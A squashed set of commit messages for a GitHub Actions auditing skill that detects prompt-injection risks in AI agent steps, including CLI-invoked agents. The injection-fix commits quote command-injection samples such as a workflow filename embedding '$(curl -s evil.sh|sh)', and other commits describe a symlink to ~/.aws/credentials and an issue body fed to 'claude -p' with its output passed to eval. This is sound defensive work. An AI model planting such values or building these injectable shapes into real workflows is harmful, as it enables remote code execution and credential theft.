Two fixes from the review of the cut-down branch.
The agent-signal gate was written for one row type and then applied to the
whole Unresolved References table. Its closing clause -- "Only references that
passed the agent-signal test appear there" -- is unqualified, while the test
itself reads a step's `with:`/`env:`, the action name and its prompt inputs.
A job-level `uses: org/private/.github/workflows/scan.yml@v2` with
`secrets: inherit`, 404ing because the repository is private, fires none of
them: no `with:`, no visible key, and "scan" is not an agent word. The row was
dropped, so a workflow running with every secret the caller holds and a body
nobody could read reported as "0 AI action instances, 0 findings" with no
Unresolved References section at all. Both rows of the section's own example
table fail the test the same way.
That is the clean-bill-of-health-over-unread-ground this skill exists to
prevent, reintroduced one layer down by the commit that added the gate. The
test is now scoped where it belongs -- the reference types marked "Only if it
carries an agent signal", which are out of scope by default and which the
signal pulls back in -- and anything this file marks in scope is reported
whenever it could not be read: 404s, auth failures, depth-limit stops, missing
action.yml, unfetchable 2b scripts.
Vector I was broadened in the applicability table last commit but not in its
own definition, so the two disagreed. A model reading top-down hit "User
allowlist fields are set to wildcard values", grepped `with:` for a `"*"`,
found none and stopped -- never reaching the rows or the `if:` rule below. The
definition, the General pattern line and SKILL.md's quick-check column now all
carry both forms: a wildcard allowlist, or no allowlist input and no `if:` on
an externally triggerable event. Only the first leaves something to grep for,
which is why the second kept getting written as out of scope.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Three fixes from the review of the cut-down branch.
The injection rule was scoped to repository-supplied values, which left the
other half of the same URL unfiltered. `{owner}` and `{repo}` come from Step
0's URL parsing, which strips trailing slashes, `.git` and `www.` and filters
nothing, so a target string handed over by a triage bot, a ticket or a pasted
link -- `https://github.com/foo/bar$(curl -s evil.sh|sh)` -- reaches the same
quoted `gh api` call and the same subshell, by the mechanism this rule already
describes two lines further down. The rule now covers every value spliced into
the URL whatever its source, and says what a rejection means for each: an
unresolved file or reference for a workflow-supplied value, a malformed target
to stop on for `{owner}`/`{repo}`.
vector-g told the auditor that a CLI agent's reply "never crosses a step
boundary, so this shape never matches". It does: `OUT=$(claude -p "$BODY")`
written to `$GITHUB_OUTPUT` reappears as `${{ steps.<id>.outputs.result }}` and
matches check 1 of that file exactly, as does the `$GITHUB_ENV` form. As
written the clause suppressed the vector's main check for every CLI agent, so
a live `eval` of model output reported clean.
vector-i's table marked Gemini CLI and AI Inference "Applicable: No" while its
False Positives section 70 lines below said the opposite and cited a
`claude-code-base-action` row the table did not have. An auditor reading
top-down stops at the decision table, so the finding this branch most wants --
a CLI agent on `issue_comment` with no `if:` -- was ruled out before the
correction was reached. The column now says which gate to read rather than
whether to check, and Where to Look names the `if:` so it does not contradict
the table it follows.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Five review rounds on this branch expanded it from Step 2b into a rewrite of
nine vector files, and each round closed findings while opening new ones -- the
sweep was being verified by reading, with no fixture to catch a regression.
This reverts the sweep. What remains is the two things the branch is for.
**The detection fix**, unchanged from the original: Step 2 gains a second
surface so a repository driving an agent from `run:` blocks no longer
terminates the scan and reports clean, Step 3 captures the CLI equivalents of
the `with:` fields, Step 4 narrows the vector-b exclusion that would otherwise
dismiss the primary finding on a CLI step, reporting splits instance counts by
invocation kind, and Rationalization #5 names the reasoning it all exists to
block.
**The injection fix**, new here. Seven `gh api` calls spliced a
repository-supplied value into an unquoted URL: `{filename}` from the Step 0
listing, `{path}` and `{ref}` from a workflow's `uses:`. Git permits `$`,
backticks, `;` and `|` in filenames and ref names, and a file this skill only
ever reads never has to parse as YAML, so a repository can commit
`.github/workflows/x$(curl -s evil.sh|sh).yml` and get code execution on the
auditor's machine during a read-only audit. All seven are quoted, Step 0 states
the filter once for every repo-supplied value, and the reusable-workflow parse
names the ref specifically -- it is the easiest of the four to wave through,
since `@main` reads as version metadata rather than as input.
The branch previously asserted that the 2b script path was "the first Bash
argument in this skill that comes from the file under audit". It was not, and
the sentence told the next reader not to look for the other two. Removed.
Reverted with the sweep, and worth reopening separately rather than losing:
vector-a's Part B is unsatisfiable for a CLI step, so the env-var-intermediary
vector cannot fire on `env: ISSUE_BODY` plus `run: claude -p "$ISSUE_BODY"` --
the likeliest CLI shape, since GitHub's own script-injection guidance
recommends that indirection. That is a real gap, but it belongs in a PR with a
fixture behind it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Two fixes the last pass needed, plus one falsehood it introduced.
The symlink guard added last round could not be run. Step 0's "Bash is ONLY
for:" list permits `gh api` and `gh auth status`; `readlink`, `test -L` and
`stat` are all outside it, and `Read` follows a link silently. So the rule was
unrunnable, which in a document like this reads as a rule that was applied.
Same shape at vector-f: it told the auditor to read `.gemini/settings.json`,
which is neither workflow content nor an invoked script, and gave it no
unresolved fallback -- on the one vector with a confirmed RCE PoC. Step 0 now
permits a read-only path probe inside the checkout and a Contents API fetch for
a named config file, and says plainly that a check which cannot be run makes
the step unresolved rather than clean.
The ref was missed by the previous quoting pass. `{ref}` comes out of a `uses:`
value exactly as `{path}` does, and cross-file-resolution still said to take it
as "everything after @" unvalidated. Git permits `$`, backticks, `;` and `|` in
a ref name and it interpolates after `?ref=` into the same command line.
Quoting does not stop it; the character filter does. Both the Step 0 rule and
the reusable-workflow parse now name it, and the enumeration says it is the
shape of the rule rather than its limit.
Dropping vector-d's CLI row in the scope cut left SKILL.md asserting "Every
vector file now states its own CLI form", which was then false of vector-d --
so `pull_request_target` + head checkout + `run: claude -p` read as not
applicable. The sentence now names the eight files that do, and says to read
vector-d anyway, since D turns on the trigger and the checkout rather than on
how the agent started.
SKILL.md was 514 lines after these; the 2b script-path bullet now points at
Step 0's rule instead of restating it, which brings it back to 500.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Two things, both from the review of the previous pass.
The command-injection hole first, since it is a live bug rather than a
detection gap. Seven `gh api` calls splice a repository-supplied value into an
unquoted URL: `{filename}` from the Step 0 directory listing and `{path}` from
a workflow's `uses:`. Git permits `$`, backticks and `;` in filenames, and a
file this skill only ever reads never has to parse as YAML, so a repository can
commit `.github/workflows/x$(curl -s evil.sh|sh).yml` and get code execution on
the auditor's machine during a read-only audit. All seven are quoted now, and
Step 0 states the rule once for every repo-supplied value rather than only for
the 2b script path.
Worse than the hole was the sentence the last pass added claiming the 2b script
path was "the first Bash argument in this skill that comes from the file under
audit". It is not, and asserting it tells the next reader not to look for the
other two. Replaced with a pointer to the general rule.
Then the scope cut. The unconditional `CLI-invoked | Yes` rows added to
vector-c/d/f/g/h override the carve-out at SKILL.md 3a: a bare `curl` to a
model API has no tools, no filesystem agency and no sandbox, so applied as
written those rows report four false positives on one inference call. Dropped.
vector-d is untouched by this branch again as a result.
Kept, because they close the gap this PR exists for rather than widening it:
vector-a's Part B split, the Where-to-Look additions for C, E and F, and
vector-i's table, which resolved a contradiction the original PR introduced.
Also corrected two statements that produce false positives on their own:
vector-g listed `jq` beside `eval` and `bash` as a code-execution sink -- it
parses, it does not evaluate, and SKILL.md already had this right -- and
SKILL.md attributed `mcp_config` to vector-h, which never mentions it.
vector-f's Where to Look had two items numbered 4., colliding with the
pre-existing rule that keeps F and H from double-reporting, and its Gemini
paragraph said in one sentence that no flag names the settings file and that a
flag overrides it. Both fixed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Four fixes to the previous two commits, all found by the review bot.
The agent-signal credential list had become a closed allowlist: ANTHROPIC and
GEMINI matched as exact names only, so ANTHROPIC_AUTH_TOKEN fired nothing, as
did any provider outside the big three -- OpenRouter, Groq, Mistral, xAI, HF.
Line 68 skips silently, so an unreadable action handed a model credential
reported "0 unresolved, no findings". That is the closed-allowlist false
negative Step 2b exists to fix, reintroduced one layer down while cutting
noise. The test is now what the name denotes -- a provider word in a
credential-shaped name -- with the list marked illustrative and an unrecognised
provider still firing. GOOGLE_API_KEY and bare MODEL stay second-signal, since
that half was right.
Flag names in the CLI rows were wrong and contradicted SKILL.md Step 3, which
had them right. `claude --help` gives `-p/--print`, not `--prompt`, and
`prompt-file` is a Codex *action* input rather than a flag any CLI in 2b
accepts -- Aider's is `--message-file`. Step 4 makes the vector file
authoritative, so the scan hunted a flag that cannot appear while the real one
went unchecked.
Vector F keyed the Gemini tool list to a `--settings` flag, but the CLI
auto-discovers `.gemini/settings.json` with no flag naming it, so a clean
`gemini -p` command line cleared the one vector with a confirmed RCE PoC. It
now reads the settings file whenever a CLI Gemini invocation is found, and
matches both `tools.core` and the older `coreTools`.
The script path defence rejected `..` and a leading `/` but not a symlink: a
repository shipping scripts/review.sh as a link to ~/.aws/credentials passed
every check and Read followed it, putting the auditor's own secrets in a
client report. Local mode now requires a regular file under the checkout root.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Step 2b finds an agent in a `run:` block, and then the vectors most likely to
apply to it could not fire. Vector A was the worst: its Part B required the
step's `with.prompt` to name the env var, and "Both parts must be present",
so for
env:
ISSUE_BODY: ${{ github.event.issue.body }}
run: claude -p "$ISSUE_BODY"
Part B was unsatisfiable and the vector reported nothing. That is the shape a
CLI agent most often takes, because GitHub's own script-injection guidance
recommends exactly this `env:` indirection for `run:` blocks -- so the vector
this plugin describes as "invisible to naive grep-based tools" was blind to
the commonest case of the surface #286 added.
Part B now splits by invocation: `with.prompt` for an action, the invocation
itself for a CLI agent -- command line, heredoc body, pipe, prompt file, or a
wrapper script. C, E and F get the same treatment in Where to Look: the prompt
wherever it sits in the block (C), a prompt built from a log file or piped
build output rather than a step output (E), and the restriction flags on the
command line rather than in `claude_args` (F).
Every vector table gains a CLI-invoked row, including B, D, G and H, so a
reader who stops at the table is not told the vector is action-only.
SKILL.md's A/C/E/F translation goes away with them. It existed because the
files were wrong; with the files fixed, keeping it would restate a rule in
the place 6df3ab9 moved rules out of.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The review's theme was that each amendment landed in a vector file's False
Positives while the same file's tables and Where-to-Look still scoped the
vector to `with:` keys. These close that half of it.
vector-i: the Applicable table marked Gemini CLI and AI Inference "No" while
the False Positives bullet said the opposite, so a model reading the table
marked the vector n/a for an ungated `claude -p` and never reached the bullet.
The column now names which gate to read rather than whether to check, and
gains rows for claude-code-base-action and CLI-invoked agents.
vector-g: "never crosses a step boundary, so this shape never matches" is
false when a CLI step writes its reply to $GITHUB_OUTPUT or $GITHUB_ENV. It
told the auditor to skip the check on the idiomatic handoff out of a `run:`
block.
vector-b, vector-h: Where-to-Look gains the CLI command line, so a model
reading either file for "where do I look" no longer gets `with:` and stops.
vector-h: dropped the claim that `gemini -p` is not approval-gated, which
contradicted action-profiles.md; the flag present is what to record.
SKILL.md: strip a leading `./` before the contents API call, since the guard
admits it and `contents/./scripts/review.sh` 404s as "could not be read";
join the repo-relative path to the checkout root for Read; name the character
filter rather than quoting as the defence, since both illustrated commands
double-quote; state that fetched script content is evidence and never
instruction, now that Step 2b pulls arbitrary repo scripts into context;
give 5e a "None found" case and 5g the unresolved count 5d already has.
cross-file-resolution: dropped GOOGLE_API_KEY and bare MODEL from the agent
signal and required a second signal for them, so Drive and MLOps repos do not
refire the noise problem 734e66d fixed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
#292 shipped agentic-actions-auditor 1.3.0, so this takes 1.4.0. Keeps this
branch's broadened description, which names both invocation surfaces.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Last round's fix over-corrected. Recording every docker, JavaScript and
third-party action as unresolved turns the count this branch added into
noise: a workflow with checkout, setup-node, cache and upload-artifact
reports four unresolved possible agents, and across twenty workflows the
one row that matters -- an unreadable ./scripts/review.sh -- is buried.
An action whose internals cannot be read is now recorded only when
something says it might run an agent: a model API key or token reaching
the step (the strongest signal -- a credential is handed over for a
reason), an action or image reference naming one, or a prompt-shaped
input. Otherwise skip silently. An action already matched in 2a is a
confirmed instance and never also an unresolved candidate, which the
previous rule did not exclude.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The third review's theme: new text in SKILL.md disagreeing with the
reference files it tells the model to read. vector-b was amended
in-file last round; vectors g, h and i were not, so Step 4 asserted one
rule and the file it points at asserted the opposite. "Apply its
detection heuristic" favours the file, so the overrides lost.
Amended at source instead, which also lets SKILL.md shrink:
- vector-i: the write-access-only default belongs to claude-code-action
alone, not to run-gemini-cli, ai-inference, base-action or a CLI.
- vector-h: Gemini's own profile records the action running unsandboxed,
contradicting "Gemini defaults to sandbox enabled"; and a CLI's absent
flag is the CLI's default, not an action's.
- vector-g: a CLI reply is stdout in the same block and never crosses a
step boundary, so the steps.<id>.outputs.* shape never matches.
- foundations: the prompt-field table gains base-action and CLI rows.
- cross-file-resolution: docker, JavaScript and remote actions were
skipped silently with no unresolved row, while 5e asserted both
surfaces were scanned. Five places said "skip silently"; all now
record unresolved.
P2: the no-agent path stopped at Step 2 with a one-liner, so 5e's
both-surfaces assurance was unreachable in the one case it was written
for. That path now reports through 5e.
P3: 3c counted unresolved candidates in the instance total while 5e
excluded them; base-action's capture list omitted settings and
mcp_config, which vector-h checks explicitly; the curl row missed Azure,
Bedrock and Vertex, which match neither host nor path; the CLI flag list
was closed, so an unlisted widening flag read as absent; the script-path
allowlist permitted .. and a leading /, steering a read outside the
repo; and the treat-as-data rule named YAML only though the new
capability fetches shell scripts.
P4: 5d gains the unresolved row shape and headline slot; 2b records the
run:-block count 5e reports, which could not be reconstructed from a
list of matches; 3a's heading no longer says "from the with: block"
while housing CLI guidance; the plugin README named a Security Tooling
section that does not exist (Code Auditing).
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Detection reached CLI agents; the paths that read the vector files and
write the report did not consistently follow.
P2:
- Script resolution pasted a path taken from the audited workflow into
a Bash command with no quoting rule. Now quoted, with any shell
metacharacter making the step unresolved rather than a command to
run. It is the first Bash argument sourced from the file under audit.
- Composite-action resolution matched uses: only, so an agent in a
composite action's run: block was missed exactly as before this
branch. cross-file-resolution.md now checks both surfaces.
- Vector G is defined over a later step reading steps.<id>.outputs.*,
which never matches a CLI reply on stdout in the same block. Now read
against the block itself.
P3:
- The gh api call for a referenced script omitted ?ref= and the base64
decode used twelve lines above it.
- base-action's field list omitted system_prompt, append_system_prompt
and claude_env, all Vector B or A surfaces.
- Vector I's absent-allowlist rule was narrowed for CLI steps and
base-action but not for run-gemini-cli or ai-inference, which also
have no such field.
- Step 3 called Vector I n/a for a curl while Step 4 made an ungated
CLI step a finding. Reconciled: the if: is the gate for both.
- The clean report asserted both surfaces were scanned with nothing
tying the claim to 2b having run; it now carries a count.
- Vector B's narrowing lived only in SKILL.md, so reading the vector
file afterwards reinstated the false positive.
- Vector H's "defaults are generally safe" is about action defaults; a
CLI's absent flag is its own default, not a safe one.
P4: -p is --print, not --prompt; unresolved candidates are counted
separately from the instance total with a row shape; action-profiles
covers the four published actions only, so CLI and base-action findings
must not borrow a profile; container: gets a record shape; README notes
base-action is archived; descriptions and em dashes.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Review of the previous commit found detection reaching CLI agents while
analysis and reporting did not follow, so several paths ended in
"detected, zero findings".
- claude-code-base-action was detected but profiled nowhere. It has a
different input schema (prompt_file, allowed_tools, no claude_args)
and no user allowlist input, so Vector I read the missing allowlist
as the wrapper action's write-access-only default.
- Step 4 claimed two vectors needed reading across for a CLI step. A,
C, E, F and I also key on with: field names, and Vector I's
false-positive rule explicitly drops an absent allowlist -- true for
an action, false for a bare CLI whose only gate is its if:.
- 2b was itself a closed allowlist. Adds a residual row: an agent is
anything that sends a prompt and acts on the reply.
- "Confirm a prompt reaches it before recording" dropped real
invocations (claude --continue, a prompt from GITHUB_ENV, a wrapper
script). The gate now gets attached to the diagnostic exclusion.
- Unresolved possible agents had no slot in the stop condition or
either report layout, so a repo whose only agent sat in an unreadable
script reported clean.
- Remote mode could not read a referenced script under Step 0's Bash
rules; those now permit fetching one for this purpose.
- When NOT to Use still said to skip repos with no AI agent actions,
which would stop the skill firing on the repos 2b targets.
- 3c's per-type template, the README activation text, and the skill
description named only the four published actions.
- Fixes escaped pipes inside code spans, adds aider's -m/--message
/--message-file, drops --prompt-file as a CLI flag, notes a curl to a
model API is inference-only (B and G, not H/F/I), and extends the
false-positive guard to comments, echoed strings and step names.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Detection matched a closed allowlist of five `uses:` prefixes, and the
stop condition sat immediately after that match: a repository driving
Claude, Codex or Gemini from `run:` blocks terminated the scan at "no
AI action steps found" and was reported clean.
Step 2 now has two surfaces. 2a is the existing action list, plus
claude-code-base-action. 2b scans `run:` blocks for the same agents as
CLIs, with rules for the cases that decide whether it works: multi-line
blocks and heredocs, install-versus-invoke, invocations hidden in repo
scripts, and the diagnostics (`which claude`, `claude --version`) that
must not count. The scan stops only when both come up empty.
Step 3 captures the CLI equivalents -- prompt via positional arg, -p,
heredoc, --prompt-file or a pipe; sandbox flags; the step env: block;
and the `if:` condition, which is the only allowlist a CLI agent has.
Step 4 narrows Vector B's exclusion of `${{ }}` in `run:` blocks. That
exclusion assumes the block is not the AI step; when the block is the
invocation, an interpolated expression is direct prompt injection and
in scope.
Reporting splits the instance count by invocation kind, and the
clean-repo report states both surfaces were scanned.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-28 14:01:13 -04:00
10 changed files with 278 additions and 43 deletions
